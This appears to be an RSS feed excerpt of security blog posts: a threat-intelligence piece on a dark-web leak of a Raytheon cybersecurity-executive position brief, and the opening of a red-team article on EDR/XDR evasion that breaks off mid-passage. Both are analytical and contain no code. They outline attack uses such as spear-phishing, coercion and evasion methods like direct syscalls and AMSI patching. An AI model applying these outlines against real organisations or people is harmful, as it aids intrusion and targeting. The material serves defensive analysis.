&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhofyw019ycunjn5kvfsy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhofyw019ycunjn5kvfsy.png" alt=" " width="692" height="473"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;1.4. Sample Data&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3bfzbpzq7cpzg0ylwxbc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3bfzbpzq7cpzg0ylwxbc.png" alt=" " width="692" height="473"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The programs, technical methods, and content contained herein are intended solely for lawful and compliant security research and educational scenarios, with the explicit objective of enhancing cybersecurity defense capabilities and possessing clear attributes of technical research.&lt;/p&gt;

&lt;p&gt;Any entity or individual who, without authorization, utilizes the content of this article for attacks, sabotage, or other illegal purposes shall bear full legal liability, civil compensation, and joint-and-several liability independently. This site assumes no vicarious liability whatsoever.&lt;/p&gt;

&lt;p&gt;All content on this site is published for the purposes of technical exchange and knowledge sharing.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>documentation</category>
      <category>news</category>
      <category>security</category>
    </item>
    <item>
      <title>[Confidential] U.S. Raytheon Cybersecurity Job Recruitment Documents Exposed to The Dark Web</title>
      <dc:creator>Excalibra</dc:creator>
      <pubDate>Mon, 30 Mar 2026 19:38:22 +0000</pubDate>
      <link>https://dev.to/excalibra/confidential-us-raytheon-cybersecurity-job-recruitment-documents-exposed-to-the-dark-web-3f9g</link>
      <guid>https://dev.to/excalibra/confidential-us-raytheon-cybersecurity-job-recruitment-documents-exposed-to-the-dark-web-3f9g</guid>
      <description>&lt;h2&gt;
  
  
  [CONFIDENTIAL] Exposure of Raytheon Cybersecurity Executive Position Recruitment Document on the Dark Web, Involving Foundational Cooperation on Classified Projects within the U.S. Intelligence Apparatus
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Article Summary:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
On January 25, 2026, the threat actor “jrintel” leaked a confidential PDF document concerning the Vice President of Cybersecurity position at Raytheon, a major U.S. defense contractor, via a dark web forum. Although the document consists of only one page, it contains critical metadata including organizational structure, security strategy priorities, technology stack, and personnel access permissions. By precisely probing intelligence related to high-level security decision-makers, attackers can map internal core networks, orchestrate targeted phishing campaigns, or execute supply-chain attacks. This incident highlights the converging trend between cybercrime and espionage activities, serving as a stark warning that enterprises must subject unstructured documents to equally stringent data leakage prevention controls.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Article Categories:&lt;/strong&gt; Threat Intelligence, Vulnerability Analysis, Data Security, Security Operations, Social Engineering&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Dark Web Auction of a Defense Giant's Confidential Position Brief: Why a Single Recruitment Document Has Become Attackers’ “Treasure Trove”?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A job description for the Vice President of Cybersecurity, explicitly marked “CONFIDENTIAL,” is now being openly priced and traded on dark web forums. Its value extends far beyond a few lines of position requirements.&lt;/p&gt;

&lt;p&gt;On January 25, a user named “jrintel” posted a brief message on a dark web forum. There was no sensational title, no claim of massive data volume—only a seemingly innocuous statement: “A specialized PDF job brief for the Vice President of Cybersecurity prepared for a client.”&lt;/p&gt;

&lt;p&gt;Attached to the post were multiple Telegram channel links demanding “support for my leak activities,” a Session ID, and a hidden download address. The named client was Raytheon, the U.S. defense and aerospace behemoth.&lt;/p&gt;

&lt;p&gt;To the average observer, this “position brief” might appear to be nothing more than a routine human resources document. Why, then, was it specifically stolen and “solemnly” released on the dark web in this manner? &lt;strong&gt;As attackers shift their focus from databases to internal documents, a more covert and strategically valuable pattern of espionage is emerging.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fivbrogh1ex6l60qwuy41.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fivbrogh1ex6l60qwuy41.png" alt=" " width="800" height="444"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;01 Event Overview: Atypical Leak with Strategic Targeting&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Unlike typical data breaches involving gigabytes or millions of records, this incident appears remarkably “restrained” on the surface.&lt;/p&gt;

&lt;p&gt;According to the threat actor “jrintel,” the leaked material consists solely of &lt;strong&gt;“1 PDF,”&lt;/strong&gt; categorized as &lt;strong&gt;file data,&lt;/strong&gt; and pertains to a specific senior position at Raytheon—the “Vice President of Cybersecurity” brief or briefing document.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv27y7pnmhaya5xbrja0c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fv27y7pnmhaya5xbrja0c.png" alt=" " width="800" height="561"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The defining characteristic of this leak lies &lt;strong&gt;not in its breadth or volume, but in its extreme precision and depth. **Rather than dumping massive employee datasets or product blueprints, the attacker deliberately selected a descriptive document concerning a **core security management role.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;jrintel labeled the document &lt;strong&gt;“CONFIDENTIAL”&lt;/strong&gt; and aggressively directed users to join multiple Telegram channels to obtain the file and “support the leak.” This operational pattern aligns with the actor’s established “professionalized” profile.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;While the incident might easily be dismissed as the leak of an “insignificant job posting,”&lt;/strong&gt; analysis of the actor’s background and the nature of the target reveals a clear strategic intent: the attacker’s intelligence collection has transitioned from large-scale data scraping to a new phase of high-value, precision targeting.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;02 The Leaked Subject: Striking at the Nerve Center of a Defense Giant&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
To appreciate the value of a position brief, one must first understand Raytheon’s significance.&lt;/p&gt;

&lt;p&gt;Raytheon (now part of Raytheon Technologies) constitutes a &lt;strong&gt;foundational pillar&lt;/strong&gt; of the U.S. and &lt;strong&gt;global defense industry.&lt;/strong&gt; Its portfolio spans Patriot missile systems, military radars, space sensors, and cybersecurity solutions. &lt;strong&gt;It is not merely a weapons manufacturer but a critical node in the U.S. national security architecture.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In this context, the “Vice President of Cybersecurity” is far from an ordinary corporate executive role. This position likely serves as the &lt;strong&gt;chief architect and manager of Raytheon’s entire digital defense ecosystem,&lt;/strong&gt; with responsibilities potentially encompassing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Protection of classified weapons development data tied to national security;
&lt;/li&gt;
&lt;li&gt;Defense against nation-state cyber attacks targeting critical defense infrastructure (e.g., military-industrial production networks);
&lt;/li&gt;
&lt;li&gt;Oversight of the company’s vast system of classified information access permissions.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fll0v9ju8r6djo5z225py.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fll0v9ju8r6djo5z225py.png" alt=" " width="665" height="770"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqo7to0z5lkocmw7vj5h8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqo7to0z5lkocmw7vj5h8.png" alt=" " width="580" height="724"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8rrlkuu6pznaxb9ekgdb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8rrlkuu6pznaxb9ekgdb.png" alt=" " width="575" height="738"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fef5go3xnpucq0v225okb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fef5go3xnpucq0v225okb.png" alt=" " width="575" height="705"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Consequently, a confidential brief prepared “for a client” concerning this position almost certainly exceeds a standard job description (JD). &lt;strong&gt;It likely includes:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Classified Organizational Structure:&lt;/strong&gt; Disclosure of internal reporting lines, branch configurations, and collaboration interfaces with sensitive departments (e.g., directed-energy weapons divisions or space and airborne systems units).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Security Strategy Priorities:&lt;/strong&gt; Revelation of the threat domains Raytheon currently views as most critical, priority defense investment areas, and future security planning.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Technology Stack and Vendor Information:&lt;/strong&gt; Enumeration of core security technologies under management, specific defense-grade security products in use, and cooperating suppliers—providing attackers with a precise roadmap for subsequent supply-chain attacks.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Personnel Requirements and Background:&lt;/strong&gt; Specifications regarding required security clearance levels (e.g., particular government security clearances) and domain expertise, indirectly reflecting the classification level and business scope accessible to the role.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By choosing this document as the inaugural leak targeting Raytheon, jrintel’s intent is evident:** the first objective is to expose the “guardian’s” hand.** Understanding who leads security and how defense will be structured often holds greater forward-looking offensive value than stealing raw data itself.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;03 Potential Impact: “Association Keys” and Attack Blueprints within the Position Brief&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
A senior executive position brief functions as a highly condensed “information aggregator.” While it does not directly contain passwords or design schematics, the scattered “association keys” it contains are sufficient for professional intelligence analysts or attack groups to assemble an operationally valuable blueprint.&lt;/p&gt;

&lt;p&gt;Based on the general characteristics of such documents, the following risk dimensions can be analyzed:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Potential Information Field&lt;/th&gt;
&lt;th&gt;Interpretation of Field Meaning&lt;/th&gt;
&lt;th&gt;Possible Associations and Risks&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Reporting Lines and Collaborating Departments&lt;/td&gt;
&lt;td&gt;Specifies to whom the position reports and which internal departments (e.g., “Directed Energy Weapons Division,” “Space and Airborne Systems Division”) it closely interfaces with.&lt;/td&gt;
&lt;td&gt;🔑 &lt;strong&gt;Localization of Key Personnel and Systems&lt;/strong&gt;: Enables construction of an internal core personnel network graph centered on the Vice President of Cybersecurity, furnishing a high-value target list for social engineering attacks or targeted penetration.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Budget and Resource Jurisdiction&lt;/td&gt;
&lt;td&gt;References the scale of security budget managed, team size, or number of Security Operations Centers (SOCs) overseen.&lt;/td&gt;
&lt;td&gt;💰 &lt;strong&gt;Assessment of Defense Scale and Weak Points&lt;/strong&gt;: Indirectly gauges the company’s investment in cybersecurity and the potential scale of its defense architecture, aiding attackers in cost-benefit analysis and identification of under-resourced薄弱环节.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Required Security Clearance Level&lt;/td&gt;
&lt;td&gt;For example, “TS/SCI with Polygraph” (Top Secret/Sensitive Compartmented Information with polygraph).&lt;/td&gt;
&lt;td&gt;📍 &lt;strong&gt;Mapping of Classification Levels&lt;/strong&gt;: Directly demonstrates that the position and its overseen operations involve the highest tiers of U.S. national secrets. This elevates the document’s intrinsic intelligence value and implies the criticality of systems accessible via the role.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Specific Technical or Standards Requirements&lt;/td&gt;
&lt;td&gt;Such as familiarity with “NIST SP 800-171” (Protecting Controlled Unclassified Information on Non-Federal Systems) or “JSIG” (Joint Security Implementation Guide).&lt;/td&gt;
&lt;td&gt;⚙️ &lt;strong&gt;Inference of Technology Stack and Compliance Frameworks&lt;/strong&gt;: Assists attackers in deducing the precise security compliance standards and likely technical solutions deployed internally, facilitating discovery of known vulnerabilities or configuration weaknesses.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Crisis Management Responsibility Description&lt;/td&gt;
&lt;td&gt;References responsibility for responding to “nation-state APT attacks” or “major data breach incidents.”&lt;/td&gt;
&lt;td&gt;🎯 &lt;strong&gt;Insight into Threat Perception and Response Plans&lt;/strong&gt;: Reveals the types of attackers Raytheon officially regards as most threatening and the pre-set emergency scenarios, allowing adversaries to adapt tactics, evade detection, or design more sophisticated attack chains targeting response procedures.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Even more dangerous is “data aggregation.” jrintel is not an isolated actor. Historical records indicate sustained trafficking of government, defense, and intelligence data from multiple countries. Once this Raytheon position information is cross-referenced and correlated with other datasets in the actor’s possession (e.g., Raytheon employee emails, internal directories, or partner information obtained through other channels), the resulting “chemical reaction” will be devastating.&lt;/p&gt;

&lt;p&gt;Attackers could:  &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Conduct precision spear-phishing&lt;/strong&gt; by impersonating headhunters or internal HR, sending “detailed position descriptions” or “interview schedules” laced with malicious payloads to prospective candidates;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Map attack paths&lt;/strong&gt; by leveraging organizational structure to simulate penetration routes from peripheral networks to core classified systems;
&lt;/li&gt;
&lt;li&gt;Identify and target potential candidates or team members for &lt;strong&gt;bribery or coercion,&lt;/strong&gt; combining the data with other personal information for tailored operations.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;04 Deep Reflection: When Metadata Is More Dangerous Than the Data Itself&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The Raytheon position brief leak strikes a distinctive alarm. It compels a fundamental re-examination of the definitional boundaries of “sensitive data.”&lt;/p&gt;

&lt;p&gt;In conventional understanding, core secrets equate to design blueprints, source code, or personnel rosters. &lt;strong&gt;This incident demonstrates that meta-information about “how secrets are protected”—the architecture of security teams, strategies, the scope of authority and vision of responsible personnel—itself constitutes one of the highest-value secrets.&lt;/strong&gt; It is analogous to two opposing armies where one side’s deployment map and commander intelligence have been stolen.&lt;/p&gt;

&lt;p&gt;The emergence of threat actors such as jrintel signals an intensification of the fusion between cybercrime and cyber-espionage.** They combine the profit-driven nature** of criminals (monetizing through channel operations and data sales) with the &lt;strong&gt;strategic foresight of spies&lt;/strong&gt; (persistently targeting defense and governmental assets). Their presence disseminates high-end intelligence collection—previously largely confined to state actors—into a more widespread and commercialized form, &lt;strong&gt;dramatically lowering the threshold for launching advanced cyber attacks against critical infrastructure.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For defense contractors such as Raytheon, and indeed all organizations handling sensitive operations, this event poses a sharp question: &lt;strong&gt;Has our security governance of unstructured documents and internal process files been enforced with the same rigor as that applied to core databases?&lt;/strong&gt; Are HR communications with headhunters, internal meeting minutes, and position descriptions fully incorporated into the monitoring scope of Data Loss Prevention (DLP) systems?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The programs, technical methods, and content contained herein are intended solely for lawful and compliant security research and educational scenarios, with the explicit objective of enhancing cybersecurity defense capabilities and possessing clear attributes of technical research.&lt;/p&gt;

&lt;p&gt;Any entity or individual who, without authorization, utilizes the content of this article for attacks, sabotage, or other illegal purposes shall bear full legal liability, civil compensation, and joint-and-several liability independently. This site assumes no vicarious liability whatsoever.&lt;/p&gt;

&lt;p&gt;All content on this site is published for the purposes of technical exchange and knowledge sharing.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>career</category>
      <category>documentation</category>
    </item>
    <item>
      <title>EDR/XDR Bypass and Detection Evasion Techniques: An Investigation of Advanced Evasion Strategies from a Red Team Perspective</title>
      <dc:creator>Excalibra</dc:creator>
      <pubDate>Fri, 27 Mar 2026 07:55:49 +0000</pubDate>
      <link>https://dev.to/excalibra/edrxdr-bypass-and-detection-evasion-techniques-an-investigation-of-advanced-evasion-strategies-5ckf</link>
      <guid>https://dev.to/excalibra/edrxdr-bypass-and-detection-evasion-techniques-an-investigation-of-advanced-evasion-strategies-5ckf</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6i42h69pier8pm4ox3w3.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6i42h69pier8pm4ox3w3.jpg" alt=" " width="800" height="516"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Article Summary:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
This document provides an in-depth analysis of EDR/XDR evasion techniques from a red team perspective, covering core strategies such as API unhooking, BOF-based in-memory execution, indirect system calls, and bypassing ETW and kernel callbacks. It elaborates on the underlying mechanisms, practical case studies, and the respective advantages and limitations of each technique. The article also highlights the constraints of traditional attack methods within modern, closed-loop defense systems. Furthermore, it emphasizes that all technical research must strictly adhere to legal authorization and compliance frameworks, with the objective of validating defensive effectiveness through adversarial exercises and promoting iterative improvements in security products.&lt;br&gt;
&lt;br&gt;&lt;br&gt;
&lt;br&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  1. Introduction: Red Team Challenges in EDR/XDR Environments
&lt;/h2&gt;

&lt;p&gt;With the iterative advancement of cybersecurity defense architectures, Endpoint Detection and Response (EDR) and Extended Detection and Response (XDR) technologies have become central pillars of enterprise security frameworks. For red team operations, traditional attack techniques are now facing an unprecedented risk of failure when confronted with modern, closed-loop defensive systems. This chapter aims to provide an in-depth analysis of the current technical state of EDR/XDR, their core detection mechanisms, and the constraints they impose on the cyber kill chain. At the same time, it seeks to clearly delineate the legal and compliance boundaries of relevant technical research, ensuring that all analysis and practice are oriented toward enhancing defensive capabilities and supporting authorized testing scenarios.&lt;/p&gt;
&lt;h3&gt;
  
  
  1.1 Current State of EDR/XDR Technology Development and Key Threats
&lt;/h3&gt;

&lt;p&gt;Since its inception, Endpoint Detection and Response (EDR) technology has evolved from basic signature-based antivirus scanning into a comprehensive security platform capable of real-time monitoring, behavioral analysis, and automated response. According to 2025 industry security posture statistics, more than 75% of mid- to large-sized enterprises worldwide have deployed EDR solutions, with the adoption rate approaching 90% in critical infrastructure sectors. Driven by the widespread adoption of cloud-native architectures and remote work models, EDR has further evolved into XDR, which integrates multi-dimensional telemetry from endpoints, networks, cloud workloads, identity systems, and more, enabling cross-domain threat correlation and analysis. This architectural shift marks a fundamental transition in defensive systems — from isolated point defense to ecosystem-wide coordinated protection.&lt;/p&gt;

&lt;p&gt;The core detection capabilities of modern EDR/XDR platforms are primarily built upon the following three technical pillars:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Kernel-level Behavioral Monitoring&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Leveraging operating system kernel callbacks and Event Tracing for Windows (ETW), these systems perform real-time monitoring of process creation, memory allocation, handle operations, network connections, and related activities. For example, when confronting process injection techniques, modern defenses do not merely observe the final execution behavior; they also conduct correlated analysis across preparatory stages such as memory allocation (e.g., VirtualAllocEx) and memory writing (e.g., WriteProcessMemory).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Memory and Code Integrity Analysis&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
By scanning process memory regions, detecting anomalous modifications to code sections, and verifying digital signatures, these systems identify fileless attacks and reflective DLL injection. For script-based attacks (particularly PowerShell), features such as Script Block Logging and the Antimalware Scan Interface (AMSI) are enabled, allowing obfuscated malicious code to be detected at the precise moment it is decrypted in memory.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Intelligent Threat Hunting and Cross-Layer Correlation&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Advanced XDR systems integrate artificial intelligence and machine learning models to conduct anomaly clustering analysis on time-series telemetry data. State-of-the-art platforms can leverage recurrent neural network architectures such as Long Short-Term Memory (LSTM) to detect the subtle periodic patterns characteristic of command-and-control (C2) heartbeat communications. Furthermore, by employing taint propagation tracking and constructing cross-protocol data-flow graphs, these systems are capable of identifying information aggregation points within multi-hop proxy chains.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdyog5hlhj1xk704j22jh.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdyog5hlhj1xk704j22jh.jpg" alt=" " width="672" height="1520"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Under the aforementioned defensive architecture, the survival space available to traditional attack chains has been dramatically compressed. Techniques long favored by red teams—such as PowerShell-based scripts, Mimikatz credential-dumping utilities, and classic process injection via CreateRemoteThread—now exhibit detection rates exceeding 85% in modern EDR environments. The root cause of this phenomenon lies in the formation of a comprehensive “detection closed loop”: virtually any anomalous behavior executed by an attacker generates telemetry that, once uploaded and correlated in the cloud, enables not only immediate blocking of the ongoing attack but also continuous enrichment of behavioral and indicator databases to defend against future variants.&lt;/p&gt;

&lt;p&gt;More specifically, process injection is primarily detected by modern EDR solutions through monitoring of execution primitives. Research indicates that while memory allocation and write operations in isolation may not always trigger immediate prevention, the invocation of an execution primitive (such as thread creation in a remote process) prompts the system to retroactively correlate preceding memory write behaviors and render a high-confidence judgment. Concurrently, the hardening of the Antimalware Scan Interface (AMSI) ensures that script-based attacks must pass inspection prior to execution; any attempt to bypass AMSI—such as in-memory patching—itself becomes a high-severity behavioral indicator. This depth of behavioral monitoring compels red teams to shift from reliance on straightforward “tool exploitation” toward fundamental principle-based evasion techniques, including:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Direct system calls (Direct Syscalls) to bypass user-mode API hooking,&lt;/li&gt;
&lt;li&gt;Abuse of legitimate system components such as thread pools to achieve execution without triggering conventional detection heuristics.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;However, as defenders increasingly monitor anomalous sequences of system calls and non-typical usage patterns of legitimate components, the adversarial contest has entered a phase of intelligent, machine-assisted competition.&lt;/p&gt;
&lt;h3&gt;
  
  
  1.2 Definition Boundaries of Evasion Techniques and Compliance Statement
&lt;/h3&gt;

&lt;p&gt;In the field of cybersecurity research, discussions of EDR evasion techniques must be strictly confined within the boundaries of legal authorization and ethical norms. All detection evasion techniques, principle analyses, and validation methods presented in this report are intended solely for authorized penetration testing, red team exercises, and validation of defensive system effectiveness. They are strictly prohibited from being used in any form of unauthorized intrusion, data theft, or disruption of computer information systems.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Legal Boundaries and Compliance Framework&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Pursuant to relevant provisions of the &lt;em&gt;Cybersecurity Law's&lt;/em&gt;, the unauthorized use of technical means to intrude into another party's network or interfere with the normal operation of a system constitutes a serious criminal offense. Accordingly, any application of evasion techniques must adhere to the following compliance principles:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Explicit Authorization&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
All testing activities must be based on written authorization letters that clearly delineate the scope of testing, time window, target systems, and permitted technical methods. Such authorization documents must be signed by the owner of the target system or their legally authorized representative.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Minimization of Impact&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
During testing, the principle of minimal impact shall be observed to avoid disruption to business continuity. The use of attack payloads that may cause system crashes, data loss, or service interruption is strictly prohibited.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Data Protection&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Any sensitive data (such as credentials or user information) obtained during testing shall be used exclusively to demonstrate the existence of vulnerabilities. Upon completion of testing, such data must be immediately destroyed or handed over to the authorizing party; retention or disclosure is forbidden.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Distinction Between Authorized Red Teaming and Illegal Attacks&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;While authorized red team operations and illegal attacks may employ similar technical methods, their fundamental difference lies in purpose and procedural legitimacy. Referring to NIST SP 800-115 &lt;em&gt;Technical Guide to Information Security Testing and Assessment&lt;/em&gt;, legitimate security testing should encompass a complete lifecycle management process:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Preparation Phase&lt;/strong&gt;: Execution of non-disclosure agreements (NDAs) and formal authorization letters; definition of Rules of Engagement (RoE).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Execution Phase&lt;/strong&gt;: Testing conducted under supervision to ensure traceability and controllability.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reporting Phase&lt;/strong&gt;: Production of detailed technical reports containing remediation recommendations to assist the client in strengthening defensive capabilities.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Illustrative Compliance Use Cases&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;To ensure the legitimacy of technical research, the following two typical compliant application scenarios are provided:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Case 1: Internal Defensive Validation&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The security team of a financial institution simulated an APT attack chain in an isolated test environment to validate the effectiveness of a newly deployed EDR policy. Testers employed modified evasion techniques to attempt bypassing endpoint protections with the objective of identifying defensive blind spots. The entire process was conducted within an internal network sandbox with no involvement of real user data. Upon conclusion, hardening recommendations were immediately produced and EDR rules adjusted. This scenario represents a classic example of defensive research and fully complies with regulatory requirements.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Case 2: Vendor Security Assessment&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
